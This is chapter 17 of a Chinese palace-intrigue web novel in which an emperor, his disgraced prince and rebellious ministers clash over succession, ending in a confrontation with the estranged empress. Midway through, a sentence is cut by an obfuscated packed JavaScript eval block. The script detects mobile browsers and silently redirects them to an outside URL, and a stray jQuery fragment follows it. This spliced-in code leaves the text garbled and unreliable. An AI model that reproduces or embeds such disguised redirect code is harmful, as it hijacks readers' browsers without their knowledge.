17. 第 17 章

作品:《顾盼

    楚王大婚,皇帝并没有露面。


    他在福宁殿独坐了一日,想到当年他大婚时。


    彼时他已是储君。皇太子纳妃,卤簿仪仗,锣鼓喧天,全城轰动。太子妃是父皇母后精挑细选,选定了才华横溢、品行高洁的名门贵女。


    他也为此欢喜过,可为何变成了如今的模样呢?+


    他叹了口气,轻得连自己也没有察觉,随意拿起案上的札子批阅。


    是钦天监上了札子,言其仰观天象,紫微垣帝星晦暗,大内黑气盘踞,恐有灾祸。皇帝将札子随手一扔,揉了揉眉心道:“钦天监,现在是谁在主事?”


    周德年拿起札子,又规整地摆在案上,恭敬答道:“回官家,是靖海侯的三弟,张禄延大人。”


    皇帝道:“他们家是不是还有个亲眷在三司办事,和吴文伟倒是亲近。”


    周德年为难道:“好像是靖海侯的侄子,在三司做个主事,具体的,老奴一下还真想不起来了……”


    皇帝摆了摆手,叹气道:“罢了,也不是什么大事。这个吴文伟,竟将主意打到了星象之说上,如今风头正紧,害怕那帮文臣找不到由头上书吗?告诉吴文伟,折子留中,不许再提,也不许他擅作主张,再有别的动作。”


    周德年应了是,正要下去传旨,却见有内侍飞奔而来,饶是入夜有几分寒凉,那内侍却仍是满头大汗,气喘不止。


    周德年斥道:“成什么样子,捋直了舌头再进来回话。”


    那内侍却不敢耽误,赶忙磕了个头,喘着粗气道:“官家,郡王殿下……在楚王婚宴将一婢女错认成楚王妃,咳,扼其喉颈,大放了狂言。事发时多位大人在厅间醒酒,全……”


    皇帝不等内侍说完,猛然站起,大喝道:“去,快去,宣朕口谕,叫吴文伟无论要做什么,都立刻停下,滚来见朕。”


    周德年晓得轻重,连礼也顾不得行,连忙往门前疾跑而去,皇帝忽然又叫道,“叫郡王来!叫郡王来!”


    .


    萧颉到福宁殿时,一身酒气,衣衫不整,神志不清,满面泪痕,满口冤枉。


    而皇帝见到吴文伟时,城郊“火流星”已然坠落,甚至因为控制不及,已经连烧了数十座民宅,“东宫灯、西宫火”的流言也以事发地为圆心,逐渐扩散。


    吴文伟嗫嚅着说:“是用硝石和硫磺制的,原没想着能烧起来。臣这就叫人去封住他们的嘴……”


    皇帝见他仍不知悔改,气得摔了杯子,吴文伟吓得跪地连连叩头。


    吴文伟自潜邸时便为他办事,十余载了,皇帝如何能不知道他心里在想什么。他不是没想着能烧起来,而是他想闹大些,流言也能传得更快些。


    而流言一出,则如覆水难收,更是江川奔涌,不可遏止。


    皇帝终于颓然坐下,身形佝偻,无力挥了挥手,叫退了吴文伟。


    皇帝枯坐了一夜,与他一同彻夜未眠的,还有京中无数臣子,拖着老迈的残躯,齐齐汇在了一起。


    楚王婚宴自事发后草草散了,同他们一同散开的,还有高平郡王在婚宴上的荒唐行径:


    高平郡王心胸狭隘,因年初偷盗楚王妃玉佩事发,心怀记恨,先是七夕发难,如今更是酒后错认,欲杀人灭口。


    太师府灯火通明。


    除了往常受冷落的,便是一些摇摆观望的,此时也如过江之鲫聚了过来。


    众臣拍案大叹:“如此睚眦必报,如何能是天子的品性。若当真叫高平郡王继承了大统,咱们这些曾有异议的大臣死无葬身之地也罢了,只怕是要祸延全家,不得安宁了。太师,您给个决断吧。”


    文宗源思忖着整件事的来龙去脉:“如今的情形,大家也瞧见了,陛下自登基起便想了法儿的独掌大权,争了这么久,怎肯轻易低头。这事,恐怕没那么容易,总是要死人的。”又叹息道:“那便用我的一条老命,换众位和无辜亲眷能安然。”


    厅中义愤之情顿起。


    同样义愤的,还有太学内一众学子。事起后连夜呼朋引伴,扬言郡王凶暴若豺狼,难承七庙之重,今愿仗节死义,以颈血溅轩辕,只为存周公之礼,护孔孟之道。


    如此阵仗,东京城内似乎只一夜,便已天翻地覆。


    .


    第二日一早,清议如料想般沸腾。


    四更宫门刚开,大臣便聚满了大庆殿,直言郡王心胸狭隘、行径禽兽、辱没天家,齐齐要求废黜郡王,贬为庶人。


    八十岁的龙图阁大学士高呼“礼崩乐坏”,当庭撞柱,被朝臣拦了下来;太师文宗源当庭请死,以‘乞郡王免于株连’;台谏两院集体摘冠,当庭陈情,声声泣血;太学生更是连夜联名撰写《讨逆檄》,在宣德门朗声诵读。


    一夜奔袭不停的,除了皇帝、朝臣和众士子,还有天象异兆。


    昨天城郊彗星坠落,连烧数十座民宅,钦天监关于帝星晦暗的密报也不知为何流出,民间同样流言四起,愈发认定是这个灾星乃是言行无状的郡王萧颉,不仅毁了楚王婚宴,更连累百姓,祸乱朝纲。


    .


    皇帝先是派人将大臣全请回了家,申斥了郡王,几日内又连召数位大臣,想求个折中之法。


    只是这样多番周旋之下,刘全礼也终于病倒。


    刘全礼为人虽圆滑,但御下宽厚,人脉也广,众人也算卖他几分薄面。自高平郡王七夕当庭无状事发后,礼院的典仪预备还在勉力支撑,全仰赖刘全礼一力周旋。如今他病了,吴文伟并其他几位参知政事根本无力主事,礼院诸事彻底废弛。


    皇帝在内廷得知此事,气得摔了奏折:“去查,叫武德司去给朕查。当时谁阻拦了郡王的侍卫,那侍女又为何能去花园,若查不明白,提头来见。”


    福宁殿乌压压跪倒一片,只有周德年赶忙上前,为难道:“官家,平章吴大人请见,说是有要事启奏。”


    皇帝余怒未消,怒道:“叫他滚!叫他再也别来见朕!在中枢这样久了,还能叫太常礼院出这样的篓子,礼院不办事,就撤了全部换人,普天之下难道无人干得了这份活吗?”


    周德年犹豫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551850|171260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着,还是出言道:“吴大人说是要事,要是官家不愿见他,请官家先看一眼这个。”


    皇帝撇了一眼周德年,接过他手中的札子。


    里面并无太多内容,几乎一扫眼就看完了。


    沉寂。


    是良久的沉寂。


    皇帝没有发话,也没有任何表情,但太阳穴焦急的跃动,却被周德年尽收眼底。


    周德年打了个手势,叫殿内跪着的宫女内侍全部退下,又轻轻阖上门。


    不知过了多久,皇帝突然不着边际问了一句:“皇后的身体最近如何了?”


    周德年不知那札子里写了什么,不知皇帝怔忪良久,更不知皇帝为何突然问起多年不曾提及的皇后,便斟酌着答道:“皇后娘娘体虚,还是照往前那样将养着。”


    皇帝几不可查地点点头,道:“好,替朕更衣,朕去瞧瞧她。”


    .


    地势坤宁,厚德载物。坤宁殿本是中宫居所,但因皇后素来被皇帝冷落,所以便是殿宇,都平添了几分潦倒落败,全然不似皇室恢弘。


    坤宁殿长门深锁,院子里只有几个洒扫宫女,见了圣驾,恍惚了片刻才慌忙行礼。


    皇帝连看也没有看他们,径直走入殿内。


    虽是盛夏,皇后面容苍白,身形消瘦,仍穿着广袖厚褙,素面散发,临窗看着书。看见皇帝来了,她的神色如早有预料般无丝毫变化,只淡淡地行了个常礼,不待皇帝叫起,又缓缓地坐下。


    皇帝不以为忤,自顾自在厅中的桌前坐下。


    屋中并无其他侍婢,周德年只得赶忙替皇帝斟茶。


    红木雕花的案几上是一只景德莲纹釉彩茶壶并四只杯子,是皇帝登基那年的旧物了。周德年提起茶壶,才发现里面并没有水,立刻冷汗涔涔,骂起当值的宫女。


    皇帝摆了摆手,周德年慌忙退下,屋内顿时安静下来。


    半晌,皇帝终于道:“怎么连个贴身的宫女也没有?”


    皇后淡淡道:“不过一日三餐,这些人也够了。”


    皇帝顿了一顿,又艰涩开口道:“这样久没来看你,你还好吗?”


    皇后仍旧淡淡的,道:“若比之宫外流离失所、劳碌求生的百姓,自然是好多了。”


    皇帝心头几丝犹豫又转为不快,但仍按压住心中的怒火,问道:“最近宫外的事情,你听说了吗?”


    皇后终于抬眼,看了他一眼,眼中有怜悯、有仇恨、有嘲讽。


    转瞬,她又移开眼,冷漠道:“妾居深宫,不问世事久已。陛下不是早该心想事成了吗?不如赐妾一纸废后诏书,也算全了陛下与妾的一场夫妻情谊。”


    皇帝看见她的神色,决绝疏离,脑海中前程往事如飞花掠过他的神思。他刻意忘记的、掩埋的过往,如今如利柄般直直向他刺来,叫他避闪不及。他一把拂去桌上的茶盏,冲道她面前,怒道:“谢思运,这么多年,你究竟为何如此待朕?”


    皇后冷眼看着他狂怒,毫无动容,反问道:“陛下扪心,这句话还问得出来吗?”